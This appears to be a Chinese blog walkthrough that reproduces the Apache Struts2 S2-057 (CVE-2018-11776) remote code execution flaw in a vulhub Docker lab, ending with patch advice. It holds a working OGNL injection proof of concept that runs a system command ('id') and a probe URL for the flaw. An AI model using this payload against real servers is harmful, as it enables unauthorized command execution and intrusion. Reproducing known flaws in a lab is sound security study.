Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

一、漏洞描述

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

二、漏洞影响版本

Apache Struts 2.3 – Struts 2.3.34

Apache Struts 2.5 – Struts 2.5.16

三、漏洞环境搭建以及复现

1、使用docker环境搭建vulhub环境

1.1> 安装docker

apt-get install docker docker-compose

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第1张图片

1.2> 启动docker

systemctl start docker

1.3> 下载vulhub

git clone https://github.com/vulhub/vulhub.git

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第2张图片

1.4> 切换到复现漏洞的目录下,并生成靶场

docker-compose up -d         //docker生成靶场

注意:docker-compose down        //向想进入另一个漏洞靶场,需先结束掉当前漏洞靶场

2、漏洞复现

2.1> 进入vulhub/struts2/s2-057目录下,生成靶场

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第3张图片

2.2> 启动环境后,在Win10上访问http://192.168.247.103:8080/struts2-showcase,您将看到Struts2测试页面。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第4张图片

s2-057要求具备以下条件:

- alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。

- action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性。

2.3> Payload:

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

利用BurpSuite抓包并改包,Go得到下图所示结果,说明存在漏洞。可以看到,233*233的结果已经在Location头中返回。 

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第5张图片

2.4> 使用S2-057漏洞的POC进行验证

POC如下:

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

 把POC替换到相应的位置,验证说明存在漏洞  #POC需进行部分URL编码

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现_第6张图片

四、漏洞防御

1. 官方补丁

目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版

本:https://struts.apache.org/download.cgi#struts2517。


参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

漏洞发现者的博客:https://lgtm.com/blog/apache_struts_CVE-2018-11776

你可能感兴趣的:(漏洞复现)